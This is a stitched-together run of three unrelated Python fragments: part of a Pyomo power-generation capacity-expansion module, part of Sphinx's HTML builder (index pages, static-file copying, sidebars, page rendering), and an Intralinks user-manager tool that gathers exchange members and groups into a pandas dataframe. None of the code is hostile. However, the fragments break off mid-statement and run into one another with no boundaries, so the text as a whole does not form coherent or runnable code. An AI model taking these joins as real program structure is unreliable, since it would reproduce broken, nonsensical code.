of the builds are operational in the given period. This is an expression that reflect decision variables. ProjFixedCosts[period] is the sum of Proj_Fixed_Costs_Annual[g, period] for all projects that could be online in the target period. This aggregation is performed for the benefit of the objective function. TODO: - Allow early capacity retirements with savings on fixed O&M """ # This set is defined by generation_projects_info.csv mod.GENERATION_PROJECTS = Set(dimen=1, input_file="generation_projects_info.csv") mod.gen_dbid = Param( mod.GENERATION_PROJECTS, input_file="generation_projects_info.csv", default=lambda m, g: g, within=Any) mod.gen_tech = Param(mod.GENERATION_PROJECTS, input_file="generation_projects_info.csv", within=Any) mod.GENERATION_TECHNOLOGIES = Set(ordered=False, initialize=lambda m: {m.gen_tech[g] for g in m.GENERATION_PROJECTS} ) mod.gen_energy_source = Param(mod.GENERATION_PROJECTS, within=Any, input_file="generation_projects_info.csv", validate=lambda m, val, g: val in m.ENERGY_SOURCES or val == "multiple") mod.gen_load_zone = Param(mod.GENERATION_PROJECTS, input_file="generation_projects_info.csv", within=mod.LOAD_ZONES) mod.gen_max_age = Param(mod.GENERATION_PROJECTS, input_file="generation_projects_info.csv", within=PositiveIntegers) mod.gen_is_variable = Param(mod.GENERATION_PROJECTS, input_file="generation_projects_info.csv", within=Boolean) mod.gen_is_baseload = Param(mod.GENERATION_PROJECTS, input_file="generation_projects_info.csv", within=Boolean, default=False) mod.gen_is_cogen = Param(mod.GENERATION_PROJECTS, within=Boolean, default=False, input_file="generation_projects_info.csv") mod.gen_is_distributed = Param(mod.GENERATION_PROJECTS, within=Boolean, default=False, input_file="generation_projects_info.csv") mod.gen_scheduled_outage_rate = Param(mod.GENERATION_PROJECTS, input_file="generation_projects_info.csv", within=PercentFraction, default=0) mod.gen_forced_outage_rate = Param(mod.GENERATION_PROJECTS, input_file="generation_projects_info.csv", within=PercentFraction, default=0) mod.min_data_check('GENERATION_PROJECTS', 'gen_tech', 'gen_energy_source', 'gen_load_zone', 'gen_max_age', 'gen_is_variable') """Construct GENS_* indexed sets efficiently with a 'construction dictionary' pattern: on the first call, make a single traversal through all generation projects to generate a complete index, use that for subsequent lookups, and clean up at the last call.""" def GENS_IN_ZONE_init(m, z): if not hasattr(m, 'GENS_IN_ZONE_dict'): m.GENS_IN_ZONE_dict = {_z: [] for _z in m.LOAD_ZONES} for g in m.GENERATION_PROJECTS: m.GENS_IN_ZONE_dict[m.gen_load_zone[g]].append(g) result = m.GENS_IN_ZONE_dict.pop(z) if not m.GENS_IN_ZONE_dict: del m.GENS_IN_ZONE_dict return result mod.GENS_IN_ZONE = Set( mod.LOAD_ZONES, initialize=GENS_IN_ZONE_init ) mod.VARIABLE_GENS = Set( initialize=mod.GENERATION_PROJECTS, filter=lambda m, g: m.gen_is_variable[g]) mod.VARIABLE_GENS_IN_ZONE = Set( mod.LOAD_ZONES, initialize=lambda m, z: [g for g in m.GENS_IN_ZONE[z] if m.gen_is_variable[g]]) mod.BASELOAD_GENS = Set( initialize=mod.GENERATION_PROJECTS, filter=lambda m, g: m.gen_is_baseload[g]) def GENS_BY_TECHNOLOGY_init(m, t): if not hasattr(m, 'GENS_BY_TECH_dict'): m.GENS_BY_TECH_dict = {_t: [] for _t in m.GENERATION_TECHNOLOGIES} for g in m.GENERATION_PROJECTS: m.GENS_BY_TECH_dict[m.gen_tech[g]].append(g) result = m.GENS_BY_TECH_dict.pop(t) if not m.GENS_BY_TECH_dict: del m.GENS_BY_TECH_dict return result mod.GENS_BY_TECHNOLOGY = Set( mod.GENERATION_TECHNOLOGIES, initialize=GENS_BY_TECHNOLOGY_init ) mod.CAPACITY_LIMITED_GENS = Set(within=mod.GENERATION_PROJECTS) mod.gen_capacity_limit_mw = Param( mod.CAPACITY_LIMITED_GENS, input_file="generation_projects_info.csv", input_optional=True, within=NonNegativeReals) mod.DISCRETELY_SIZED_GENS = Set(within=mod.GENERATION_PROJECTS) mod.gen_unit_size = Param( mod.DISCRETELY_SIZED_GENS, input_file="generation_projects_info.csv", input_optional=True, within=PositiveReals) mod.CCS_EQUIPPED_GENS = Set(within=mod.GENERATION_PROJECTS) mod.gen_ccs_capture_efficiency = Param( mod.CCS_EQUIPPED_GENS, input_file="generation_projects_info.csv", input_optional=True, within=PercentFraction) mod.gen_ccs_energy_load = Param( mod.CCS_EQUIPPED_GENS, input_file="generation_projects_info.csv", input_optional=True, within=PercentFraction) mod.gen_uses_fuel = Param( mod.GENERATION_PROJECTS, initialize=lambda m, g: ( m.gen_energy_source[g] in m.FUELS or m.gen_energy_source[g] == "multiple")) mod.NON_FUEL_BASED_GENS = Set( initialize=mod.GENERATION_PROJECTS, filter=lambda m, g: not m.gen_uses_fuel[g]) mod.FUEL_BASED_GENS = Set( initialize=mod.GENERATION_PROJECTS, filter=lambda m, g: m.gen_uses_fuel[g]) mod.gen_full_load_heat_rate = Param( mod.FUEL_BASED_GENS, input_file="generation_projects_info.csv", within=NonNegativeReals) mod.MULTIFUEL_GENS = Set( initialize=mod.GENERATION_PROJECTS, filter=lambda m, g: m.gen_energy_source[g] == "multiple") mod.FUELS_FOR_MULTIFUEL_GEN = Set(mod.MULTIFUEL_GENS, within=mod.FUELS) mod.FUELS_FOR_GEN = Set(mod.FUEL_BASED_GENS, initialize=lambda m, g: ( m.FUELS_FOR_MULTIFUEL_GEN[g] if g in m.MULTIFUEL_GENS else [m.gen_energy_source[g]])) def GENS_BY_ENERGY_SOURCE_init(m, e): if not hasattr(m, 'GENS_BY_ENERGY_dict'): m.GENS_BY_ENERGY_dict = {_e: [] for _e in m.ENERGY_SOURCES} for g in m.GENERATION_PROJECTS: if g in m.FUEL_BASED_GENS: for f in m.FUELS_FOR_GEN[g]: m.GENS_BY_ENERGY_dict[f].append(g) else: m.GENS_BY_ENERGY_dict[m.gen_energy_source[g]].append(g) result = m.GENS_BY_ENERGY_dict.pop(e) if not m.GENS_BY_ENERGY_dict: del m.GENS_BY_ENERGY_dict return result mod.GENS_BY_ENERGY_SOURCE = Set( mod.ENERGY_SOURCES, initialize=GENS_BY_ENERGY_SOURCE_init ) mod.GENS_BY_NON_FUEL_ENERGY_SOURCE = Set( mod.NON_FUEL_ENERGY_SOURCES, initialize=lambda m, s: m.GENS_BY_ENERGY_SOURCE[s] ) mod.GENS_BY_FUEL = Set( mod.FUELS, initialize=lambda m, f: m.GENS_BY_ENERGY_SOURCE[f] ) # This set is defined by gen_build_predetermined.csv mod.PREDETERMINED_GEN_BLD_YRS = Set( input_file="gen_build_predetermined.csv", input_optional=True, dimen=2) mod.PREDETERMINED_BLD_YRS = Set( dimen=1, ordered=False, initialize=lambda m: set(bld_yr for (g, bld_yr) in m.PREDETERMINED_GEN_BLD_YRS), doc="Set of all the years where pre-determined builds occurs." ) # This set is defined by gen_build_costs.csv mod.GEN_BLD_YRS = Set( dimen=2, input_file="gen_build_costs.csv", validate=lambda m, g, bld_yr: ( (g, bld_yr) in m.PREDETERMINED_GEN_BLD_YRS or (g, bld_yr) in m.GENERATION_PROJECTS * m.PERIODS)) mod.NEW_GEN_BLD_YRS = Set( dimen=2, initialize=lambda m: m.GEN_BLD_YRS - m.PREDETERMINED_GEN_BLD_YRS) mod.gen_predetermined_cap = Param( mod.PREDETERMINED_GEN_BLD_YRS, input_file="gen_build_predetermined.csv", within=NonNegativeReals) mod.min_data_check('gen_predetermined_cap') def gen_build_can_operate_in_period(m, g, build_year, period): # If a period has the same name as a predetermined build year then we have a problem. # For example, consider what happens if we have both a period named 2020 # and a predetermined build in 2020. In this case, "build_year in m.PERIODS" # will be True even if the project is a 2020 predetermined build. # This will result in the "online" variable being the start of the period rather # than the prebuild year which can cause issues such as the project retiring too soon. # To prevent this we've added the no_predetermined_bld_yr_vs_period_conflict BuildCheck below. if build_year in m.PERIODS: online = m.period_start[build_year] else: online = build_year retirement = online + m.gen_max_age[g] # Previously the code read return online <= m.period_start[period] < retirement # However using the midpoint of the period as the "cutoff" seems more correct so # we've made the switch. return online <= m.period_start[period] + 0.5 * m.period_length_years[period] < retirement # This verifies that a predetermined build year doesn't conflict with a period since if that's the case # gen_build_can_operate_in_period will mistaken the prebuild for an investment build # (see note in gen_build_can_operate_in_period) mod.no_predetermined_bld_yr_vs_period_conflict = BuildCheck( mod.PREDETERMINED_BLD_YRS, mod.PERIODS, rule=lambda m, bld_yr, p: bld_yr != p ) # The set of periods when a project built in a certain year will be online mod.PERIODS_FOR_GEN_BLD_YR = Set( mod.GEN_BLD_YRS, within=mod.PERIODS, ordered=True, initialize=lambda m, g, bld_yr: [ period for period in m.PERIODS if gen_build_can_operate_in_period(m, g, bld_yr, period)]) mod.BLD_YRS_FOR_GEN = Set( mod.GENERATION_PROJECTS, ordered=False, initialize=lambda m, g: set( bld_yr for (gen, bld_yr) in m.GEN_BLD_YRS if gen == g ) ) # The set of build years that could be online in the given period # for the given project. mod.BLD_YRS_FOR_GEN_PERIOD = Set( mod.GENERATION_PROJECTS, mod.PERIODS, ordered=False, initialize=lambda m, g, period: set( bld_yr for bld_yr in m.BLD_YRS_FOR_GEN[g] if gen_build_can_operate_in_period(m, g, bld_yr, period))) # The set of periods when a generator is available to run mod.PERIODS_FOR_GEN = Set( mod.GENERATION_PROJECTS, initialize=lambda m, g: [p for p in m.PERIODS if len(m.BLD_YRS_FOR_GEN_PERIOD[g, p]) > 0] ) def bounds_BuildGen(model, g, bld_yr): if((g, bld_yr) in model.PREDETERMINED_GEN_BLD_YRS): return (model.gen_predetermined_cap[g, bld_yr], model.gen_predetermined_cap[g, bld_yr]) elif(g in model.CAPACITY_LIMITED_GENS): # This does not replace Max_Build_Potential because # Max_Build_Potential applies across all build years. return (0, model.gen_capacity_limit_mw[g]) else: return (0, None) mod.BuildGen = Var( mod.GEN_BLD_YRS, within=NonNegativeReals, bounds=bounds_BuildGen) # Some projects are retired before the first study period, so they # don't appear in the objective function or any constraints. # In this case, pyomo may leave the variable value undefined even # after a solve, instead of assigning a value within the allowed # range. This causes errors in the Progressive Hedging code, which # expects every variable to have a value after the solve. So as a # starting point we assign an appropriate value to all the existing # projects here. mod.BuildGen_assign_default_value = BuildAction( mod.PREDETERMINED_GEN_BLD_YRS, rule=get_assign_default_value_rule("BuildGen", "gen_predetermined_cap")) # note: in pull request 78, commit e7f870d..., GEN_PERIODS # was mistakenly redefined as GENERATION_PROJECTS * PERIODS. # That didn't directly affect the objective function in the tests # because most code uses GEN_TPS, which was defined correctly. # But it did have some subtle effects on the main Hawaii model. # It would be good to have a test that this set is correct, # e.g., assertions that in the 3zone_toy model, # ('C-Coal_ST', 2020) in m.GEN_PERIODS and ('C-Coal_ST', 2030) not in m.GEN_PERIODS # and 'C-Coal_ST' in m.GENS_IN_PERIOD[2020] and 'C-Coal_ST' not in m.GENS_IN_PERIOD[2030] mod.GEN_PERIODS = Set( dimen=2, initialize=lambda m: [(g, p) for g in m.GENERATION_PROJECTS for p in m.PERIODS_FOR_GEN[g]]) mod.GenCapacity = Expression( mod.GENERATION_PROJECTS, mod.PERIODS, rule=lambda m, g, period: sum( m.BuildGen[g, bld_yr] for bld_yr in m.BLD_YRS_FOR_GEN_PERIOD[g, period])) # We use a scaling factor to improve the numerical properties # of the model. The scaling factor was determined using trial # and error and this tool https://github.com/staadecker/lp-analyzer. # Learn more by reading the documentation on Numerical Issues. max_build_potential_scaling_factor = 1e-1 mod.Max_Build_Potential = Constraint( mod.CAPACITY_LIMITED_GENS, mod.PERIODS, rule=lambda m, g, p: ( m.gen_capacity_limit_mw[g] * max_build_potential_scaling_factor >= m.GenCapacity[ g, p] * max_build_potential_scaling_factor)) # The following components enforce minimum capacity build-outs. # Note that this adds binary variables to the model. mod.gen_min_build_capacity = Param(mod.GENERATION_PROJECTS, input_file="generation_projects_info.csv", within=NonNegativeReals, default=0) mod.NEW_GEN_WITH_MIN_BUILD_YEARS = Set( dimen=2, initialize=mod.NEW_GEN_BLD_YRS, filter=lambda m, g, p: ( m.gen_min_build_capacity[g] > 0)) mod.BuildMinGenCap = Var( mod.NEW_GEN_WITH_MIN_BUILD_YEARS, within=Binary) mod.Enforce_Min_Build_Lower = Constraint( mod.NEW_GEN_WITH_MIN_BUILD_YEARS, rule=lambda m, g, p: ( m.BuildMinGenCap[g, p] * m.gen_min_build_capacity[g] <= m.BuildGen[g, p])) # Define a constant for enforcing binary constraints on project capacity # The value
nonl=1) if self.config.html_split_index: self.handle_page('genindex', genindexcontext, 'genindex-split.html') self.handle_page('genindex-all', genindexcontext, 'genindex.html') for (key, entries), count in zip(genindex, indexcounts): ctx = {'key': key, 'entries': entries, 'count': count, 'genindexentries': genindex} self.handle_page('genindex-' + key, ctx, 'genindex-single.html') else: self.handle_page('genindex', genindexcontext, 'genindex.html') def write_domain_indices(self): # type: () -> None for indexname, indexcls, content, collapse in self.domain_indices: indexcontext = dict( indextitle = indexcls.localname, content = content, collapse_index = collapse, ) logger.info(' ' + indexname, nonl=1) self.handle_page(indexname, indexcontext, 'domainindex.html') def copy_image_files(self): # type: () -> None if self.images: stringify_func = ImageAdapter(self.app.env).get_original_image_uri ensuredir(path.join(self.outdir, self.imagedir)) for src in status_iterator(self.images, __('copying images... '), "brown", len(self.images), self.app.verbosity, stringify_func=stringify_func): dest = self.images[src] try: copyfile(path.join(self.srcdir, src), path.join(self.outdir, self.imagedir, dest)) except Exception as err: logger.warning(__('cannot copy image file %r: %s'), path.join(self.srcdir, src), err) def copy_download_files(self): # type: () -> None def to_relpath(f): # type: (unicode) -> unicode return relative_path(self.srcdir, f) # copy downloadable files if self.env.dlfiles: ensuredir(path.join(self.outdir, '_downloads')) for src in status_iterator(self.env.dlfiles, __('copying downloadable files... '), "brown", len(self.env.dlfiles), self.app.verbosity, stringify_func=to_relpath): try: dest = path.join(self.outdir, '_downloads', self.env.dlfiles[src][1]) ensuredir(path.dirname(dest)) copyfile(path.join(self.srcdir, src), dest) except EnvironmentError as err: logger.warning(__('cannot copy downloadable file %r: %s'), path.join(self.srcdir, src), err) def copy_static_files(self): # type: () -> None try: # copy static files logger.info(bold(__('copying static files... ')), nonl=True) ensuredir(path.join(self.outdir, '_static')) # first, create pygments style file with open(path.join(self.outdir, '_static', 'pygments.css'), 'w') as f: f.write(self.highlighter.get_stylesheet()) # type: ignore # then, copy translations JavaScript file if self.config.language is not None: jsfile = self._get_translations_js() if jsfile: copyfile(jsfile, path.join(self.outdir, '_static', 'translations.js')) # copy non-minified stemmer JavaScript file if self.indexer is not None: jsfile = self.indexer.get_js_stemmer_rawcode() if jsfile: copyfile(jsfile, path.join(self.outdir, '_static', '_stemmer.js')) ctx = self.globalcontext.copy() # add context items for search function used in searchtools.js_t if self.indexer is not None: ctx.update(self.indexer.context_for_searchtool()) # then, copy over theme-supplied static files if self.theme: for theme_path in self.theme.get_theme_dirs()[::-1]: entry = path.join(theme_path, 'static') copy_asset(entry, path.join(self.outdir, '_static'), excluded=DOTFILES, context=ctx, renderer=self.templates) # then, copy over all user-supplied static files excluded = Matcher(self.config.exclude_patterns + ["**/.*"]) for static_path in self.config.html_static_path: entry = path.join(self.confdir, static_path) if not path.exists(entry): logger.warning(__('html_static_path entry %r does not exist'), entry) continue copy_asset(entry, path.join(self.outdir, '_static'), excluded, context=ctx, renderer=self.templates) # copy logo and favicon files if not already in static path if self.config.html_logo: logobase = path.basename(self.config.html_logo) logotarget = path.join(self.outdir, '_static', logobase) if not path.isfile(path.join(self.confdir, self.config.html_logo)): logger.warning(__('logo file %r does not exist'), self.config.html_logo) elif not path.isfile(logotarget): copyfile(path.join(self.confdir, self.config.html_logo), logotarget) if self.config.html_favicon: iconbase = path.basename(self.config.html_favicon) icontarget = path.join(self.outdir, '_static', iconbase) if not path.isfile(path.join(self.confdir, self.config.html_favicon)): logger.warning(__('favicon file %r does not exist'), self.config.html_favicon) elif not path.isfile(icontarget): copyfile(path.join(self.confdir, self.config.html_favicon), icontarget) logger.info('done') except EnvironmentError as err: # TODO: In py3, EnvironmentError (and IOError) was merged into OSError. # So it should be replaced by IOError on dropping py2 support logger.warning(__('cannot copy static file %r'), err) def copy_extra_files(self): # type: () -> None try: # copy html_extra_path files logger.info(bold(__('copying extra files... ')), nonl=True) excluded = Matcher(self.config.exclude_patterns) for extra_path in self.config.html_extra_path: entry = path.join(self.confdir, extra_path) if not path.exists(entry): logger.warning(__('html_extra_path entry %r does not exist'), entry) continue copy_asset(entry, self.outdir, excluded) logger.info(__('done')) except EnvironmentError as err: logger.warning(__('cannot copy extra file %r'), err) def write_buildinfo(self): # type: () -> None try: with open(path.join(self.outdir, '.buildinfo'), 'w') as fp: self.build_info.dump(fp) except IOError as exc: logger.warning(__('Failed to write build info file: %r'), exc) def cleanup(self): # type: () -> None # clean up theme stuff if self.theme: self.theme.cleanup() def post_process_images(self, doctree): # type: (nodes.Node) -> None """Pick the best candidate for an image and link down-scaled images to their high res version. """ Builder.post_process_images(self, doctree) if self.config.html_scaled_image_link and self.html_scaled_image_link: for node in doctree.traverse(nodes.image): scale_keys = ('scale', 'width', 'height') if not any((key in node) for key in scale_keys) or \ isinstance(node.parent, nodes.reference): # docutils does unfortunately not preserve the # ``target`` attribute on images, so we need to check # the parent node here. continue uri = node['uri'] reference = nodes.reference('', '', internal=True) if uri in self.images: reference['refuri'] = posixpath.join(self.imgpath, self.images[uri]) else: reference['refuri'] = uri node.replace_self(reference) reference.append(node) def load_indexer(self, docnames): # type: (Iterable[unicode]) -> None keep = set(self.env.all_docs) - set(docnames) try: searchindexfn = path.join(self.outdir, self.searchindex_filename) if self.indexer_dumps_unicode: f = codecs.open(searchindexfn, 'r', encoding='utf-8') # type: ignore else: f = open(searchindexfn, 'rb') # type: ignore with f: self.indexer.load(f, self.indexer_format) except (IOError, OSError, ValueError): if keep: logger.warning(__('search index couldn\'t be loaded, but not all ' 'documents will be built: the index will be ' 'incomplete.')) # delete all entries for files that will be rebuilt self.indexer.prune(keep) def index_page(self, pagename, doctree, title): # type: (unicode, nodes.Node, unicode) -> None # only index pages with title if self.indexer is not None and title: filename = self.env.doc2path(pagename, base=None) try: self.indexer.feed(pagename, filename, title, doctree) except TypeError: # fallback for old search-adapters self.indexer.feed(pagename, title, doctree) # type: ignore def _get_local_toctree(self, docname, collapse=True, **kwds): # type: (unicode, bool, Any) -> unicode if 'includehidden' not in kwds: kwds['includehidden'] = False return self.render_partial(TocTree(self.env).get_toctree_for( docname, self, collapse, **kwds))['fragment'] def get_outfilename(self, pagename): # type: (unicode) -> unicode return path.join(self.outdir, os_path(pagename) + self.out_suffix) def add_sidebars(self, pagename, ctx): # type: (unicode, Dict) -> None def has_wildcard(pattern): # type: (unicode) -> bool return any(char in pattern for char in '*?[') sidebars = None matched = None customsidebar = None # default sidebars settings for selected theme if self.theme.name == 'alabaster': # provide default settings for alabaster (for compatibility) # Note: this will be removed before Sphinx-2.0 try: # get default sidebars settings from alabaster (if defined) theme_default_sidebars = self.theme.config.get('theme', 'sidebars') if theme_default_sidebars: sidebars = [name.strip() for name in theme_default_sidebars.split(',')] except Exception: # fallback to better default settings sidebars = ['about.html', 'navigation.html', 'relations.html', 'searchbox.html', 'donate.html'] else: theme_default_sidebars = self.theme.get_config('theme', 'sidebars', None) if theme_default_sidebars: sidebars = [name.strip() for name in theme_default_sidebars.split(',')] # user sidebar settings html_sidebars = self.get_builder_config('sidebars', 'html') for pattern, patsidebars in iteritems(html_sidebars): if patmatch(pagename, pattern): if matched: if has_wildcard(pattern): # warn if both patterns contain wildcards if has_wildcard(matched): logger.warning(__('page %s matches two patterns in ' 'html_sidebars: %r and %r'), pagename, matched, pattern) # else the already matched pattern is more specific # than the present one, because it contains no wildcard continue matched = pattern sidebars = patsidebars if sidebars is None: # keep defaults pass elif isinstance(sidebars, string_types): # 0.x compatible mode: insert custom sidebar before searchbox customsidebar = sidebars sidebars = None warnings.warn('Now html_sidebars only allows list of sidebar ' 'templates as a value. Support for a string value ' 'will be removed at Sphinx-2.0.', RemovedInSphinx20Warning, stacklevel=2) ctx['sidebars'] = sidebars ctx['customsidebar'] = customsidebar # --------- these are overwritten by the serialization builder def get_target_uri(self, docname, typ=None): # type: (unicode, unicode) -> unicode return docname + self.link_suffix def handle_page(self, pagename, addctx, templatename='page.html', outfilename=None, event_arg=None): # type: (unicode, Dict, unicode, unicode, Any) -> None ctx = self.globalcontext.copy() # current_page_name is backwards compatibility ctx['pagename'] = ctx['current_page_name'] = pagename ctx['encoding'] = self.config.html_output_encoding default_baseuri = self.get_target_uri(pagename) # in the singlehtml builder, default_baseuri still contains an #anchor # part, which relative_uri doesn't really like... default_baseuri = default_baseuri.rsplit('#', 1)[0] if self.config.html_baseurl: ctx['pageurl'] = posixpath.join(self.config.html_baseurl, pagename + self.out_suffix) else: ctx['pageurl'] = None def pathto(otheruri, resource=False, baseuri=default_baseuri): # type: (unicode, bool, unicode) -> unicode if resource and '://' in otheruri: # allow non-local resources given by scheme return otheruri elif not resource: otheruri = self.get_target_uri(otheruri) uri = relative_uri(baseuri, otheruri) or '#' if uri == '#' and not self.allow_sharp_as_current_path: uri = baseuri return uri ctx['pathto'] = pathto def css_tag(css): # type: (Stylesheet) -> unicode attrs = [] for key in sorted(css.attributes): value = css.attributes[key] if value is not None: attrs.append('%s="%s"' % (key, htmlescape(value, True))) attrs.append('href="%s"' % pathto(css.filename, resource=True)) return '<link %s />' % ' '.join(attrs) ctx['css_tag'] = css_tag def hasdoc(name): # type: (unicode) -> bool if name in self.env.all_docs: return True elif name == 'search' and self.search: return True elif name == 'genindex' and self.get_builder_config('use_index', 'html'): return True return False ctx['hasdoc'] = hasdoc def warn(*args, **kwargs): # type: (Any, Any) -> unicode """Simple warn() wrapper for themes.""" warnings.warn('The template function warn() was deprecated. ' 'Use warning() instead.', RemovedInSphinx30Warning, stacklevel=2) self.warn(*args, **kwargs) return '' # return
<filename>intralinks/tools/user_manager.py import re import json import concurrent.futures import pandas as pd import datetime import intralinks.utils.dates from intralinks.utils.data import entity_to_dict, get_node_as_list import ipywidgets from intralinks.tools.notebooks_goodies import create_code_cell, WidgetManager import traceback INTRALINKS_USER_KEYS = { 'userId', 'emailId', 'firstName', 'firstNameSort', 'lastName', 'lastNameSort', 'mobilePhone', 'officePhone', 'fax', 'address1', 'address2', 'postalCode', 'city', 'state', 'country', 'jobTitle', 'title', 'organization', 'organizationId', 'organizationSort', 'timeZone', 'timeZoneOffset', 'functionalArea', 'industry', 'isAdminUser', 'isLinkedUp', 'isPlaceholderUser', 'lastLoginDate', 'userLocale' } class UserManager: def __init__(self, il=None, use_custom_fields=False, use_removed_exchange_members=False, max_workers=5): self.il = il self.configuration = None self.max_worker = max_workers self.use_custom_fields = use_custom_fields self.use_removed_exchange_members = use_removed_exchange_members self.reference_user = None self.intralinks_users = None self.exchanges = None self.field_definitions = None self.groups = None self.exchange_members = None self.removed_exchange_members = None self.group_members = None self.dataframe = None def _categorize_intralinks_user(self, u): u['domain'] = u['emailId'].lower().split('@')[1] u['email'] = u['emailId'].lower() def categorize_data(self): """ Options to categorize data: - use naming conventions - use an external datasource - use exchange's description, group's note - use custom fields """ for u in self.intralinks_users: self._categorize_intralinks_user(u) if self.configuration: for u in self.exchange_members: self.configuration.categorize_user(u) for e in self.exchanges: self.configuration.categorize_exchange(e) for g in self.groups: self.configuration.categorize_group(g) def _prepare_entity(self, prefix, entity, skip=None): new_entity = dict() for k in entity: if skip is not None and k in skip: continue elif k == 'customFields': custom_fields = get_node_as_list(entity, ['customFields', 'field']) for c in custom_fields: new_entity['{}.cf.{}'.format(prefix, c['id'])] = c['value'] elif k in {'createdOn', 'lastModifiedOn', 'firstAccessed', 'lastAccessedOn', 'lastAlertSentDate'}: new_entity['{}.{}'.format(prefix, k)] = intralinks.utils.dates.to_date(entity[k]['milliseconds']) else: new_entity['{}.{}'.format(prefix, k)] = entity[k] return new_entity def prepare_dataframe(self): SKIP_INTRALINKS_USER_KEYS = {'firstNameSort', 'lastNameSort', 'organizationSort', 'mobilePhone', 'fax', 'address1', 'address2', 'postalCode', 'city', 'state', 'country', 'title', 'functionalArea', 'industry'} SKIP_EXCHANGE_KEYS = {'createdBy', 'createdOn', 'lastModifiedBy', 'lastModifiedOn', 'pvpEnabled', 'securityLevel', 'type', 'version', 'actions', 'location'} SKIP_GROUP_KEYS = {'buyerGroupDetails', 'createdBy', 'createdOn', 'lastModifiedBy', 'lastModifiedOn', 'ftsEnabled', 'groupMemberCount', 'groupMembers', 'version', 'exchange_id'} SKIP_EXCHANGE_MEMBER_KEYS = {'version', 'cgFlag', 'title', 'groups', 'exchange_id', 'domain', 'createdBy', 'lastModifiedBy', 'userId'} exchanges_by_id = {e['id']:self._prepare_entity('exchange', e, skip=SKIP_EXCHANGE_KEYS) for e in self.exchanges} intralinks_users_by_id = {u['userId']:self._prepare_entity('intralinks_user', u, skip=SKIP_INTRALINKS_USER_KEYS) for u in self.intralinks_users} exchange_members_by_id = {m['id']:self._prepare_entity('exchange_member', m, skip=SKIP_EXCHANGE_MEMBER_KEYS) for m in self.exchange_members} removed_exchange_members_by_id = {m['id']:self._prepare_entity('exchange_member', m, skip=SKIP_EXCHANGE_MEMBER_KEYS) for m in self.removed_exchange_members} groups_by_id = {g['id']:self._prepare_entity('group', g, skip=SKIP_GROUP_KEYS) for g in self.groups} rows = [] for e in self.exchanges: d = {'row_type':'EXCHANGE'} d.update(exchanges_by_id[e['id']]) rows.append(d) for m in self.exchange_members: d = {'row_type':'EXCHANGE_MEMBER'} d.update(intralinks_users_by_id[m['userId']]) d.update(exchange_members_by_id[m['id']]) d.update(exchanges_by_id[m['exchangeId']]) rows.append(d) for m in self.removed_exchange_members: d = {'row_type':'REMOVED_EXCHANGE_MEMBER'} d.update(intralinks_users_by_id[m['userId']]) d.update(removed_exchange_members_by_id[m['id']]) d.update(exchanges_by_id[m['exchangeId']]) rows.append(d) for g in self.groups: d = {'row_type':'GROUP'} d.update(groups_by_id[g['id']]) d.update(exchanges_by_id[g['exchangeId']]) rows.append(d) for m in self.group_members: d = {'row_type':'GROUP_MEMBER'} d.update(intralinks_users_by_id[m['userId']]) d.update(exchange_members_by_id[m['workspaceUserId']]) d.update(groups_by_id[m['workspaceGroupId']]) d.update(exchanges_by_id[m['exchangeId']]) rows.append(d) self.dataframe = pd.DataFrame(pd.io.json.json_normalize(rows)) def load_exchanges_from_intralinks(self, email=None, is_manager=None): if email is None: if re.match('.*\./*<EMAIL>', self.il.api_client.session.email): raise Exception() self.reference_user = self.il.api_client.session.email self.exchanges = self.il.get_exchanges(is_manager=is_manager) else: self.reference_user = email user = self.il.get_user_account(email)[0] self.exchanges = self.il.get_exchanges(user_id=user['userId']) def _split_intralinks_users_from_exchange_members(self, exchange_members_with_details, intralinks_user_ids): exchange_members = [] for m in exchange_members_with_details: if m['userId'] not in intralinks_user_ids: u = {k:m[k] for k in m if k in INTRALINKS_USER_KEYS} intralinks_user_ids.add(m['userId']) self.intralinks_users.append(u) m_cleaned = {k:m[k] for k in m if k == 'userId' or k not in INTRALINKS_USER_KEYS} exchange_members.append(m_cleaned) return exchange_members def log(self, operation, count=None, step=None, style=None): if operation == 'load_users_and_groups_from_intralinks': if count is not None: print('Start processing {} exchanges'.format(count)) if step is not None: print(' [{}] - {}'.format(step['id'], step['workspaceName'])) if style is not None: print(' Error') def load_exchange_data(self, e): result = None try: if self.il.enter_exchange(e, accept_splash=True) != 'ALLOW': return None e.update(self.il.get_exchange(e)) if self.use_custom_fields: field_definitions = self.il.get_field_definitions(e) for f in field_definitions: f['exchangeId'] = e['id'] else: field_definitions = [] exchange_members = self.il.get_exchange_members(e) for m in exchange_members: m['exchangeId'] = e['id'] if self.use_removed_exchange_members: removed_exchange_members = self.il.get_removed_exchange_members(e) for m in removed_exchange_members: m['exchangeId'] = e['id'] else: removed_exchange_members = [] groups, group_members = self.il.get_groups_and_members(e) for g in groups: g['exchangeId'] = e['id'] for m in group_members: m['exchangeId'] = e['id'] result = { 'field_definitions':field_definitions, 'exchange_members':exchange_members, 'removed_exchange_members':removed_exchange_members, 'groups':groups, 'group_members':group_members } except: traceback.print_exc() print('!!! Error with exchange {}'.format(e['id'])) self.log('load_users_and_groups_from_intralinks', style='warning') #self.il.diagnose() self.log('load_users_and_groups_from_intralinks', step=e) return result def load_users_and_groups_from_intralinks(self, callback=None): self.intralinks_users = [] self.field_definitions = [] self.groups = [] self.exchange_members = [] self.removed_exchange_members = [] self.group_members = [] intralinks_user_ids = set() exchanges = [e for e in self.exchanges if e['type'] != 'IL5'] self.log('load_users_and_groups_from_intralinks', count=len(exchanges), style='') with concurrent.futures.ThreadPoolExecutor(max_workers=self.max_worker) as executor: results = executor.map(lambda e: self.load_exchange_data(e), exchanges) for data in results: if data is not None: exchange_members = self._split_intralinks_users_from_exchange_members(data['exchange_members'], intralinks_user_ids) removed_exchange_members = self._split_intralinks_users_from_exchange_members(data['removed_exchange_members'], intralinks_user_ids) self.field_definitions.extend(data['field_definitions']) self.exchange_members.extend(exchange_members) self.removed_exchange_members.extend(removed_exchange_members) self.groups.extend(data['groups']) self.group_members.extend(data['group_members']) def save_to_file(self, f): with open(f, 'w') as outfile: json.dump({ 'intralinks_users':self.intralinks_users, 'exchanges':self.exchanges, 'field_definitions':self.field_definitions, 'exchange_members':self.exchange_members, 'removed_exchange_members':self.removed_exchange_members, 'groups':self.groups, 'group_members':self.group_members }, outfile) def load_from_file(self, f): with open(f, 'r') as outfile: d = json.load(outfile) self.exchanges = d['exchanges'] if 'exchanges' in d else [] self.field_definitions = d['field_definitions'] if 'field_definitions' in d else [] self.removed_exchange_members = d['removed_exchange_members'] if 'removed_exchange_members' in d else [] self.groups = d['groups'] if 'groups' in d else [] if 'exchange_members' in d: self.exchange_members = d['exchange_members'] self.intralinks_users = d['intralinks_users'] if 'intralinks_users' in d else [] elif 'users' in d: 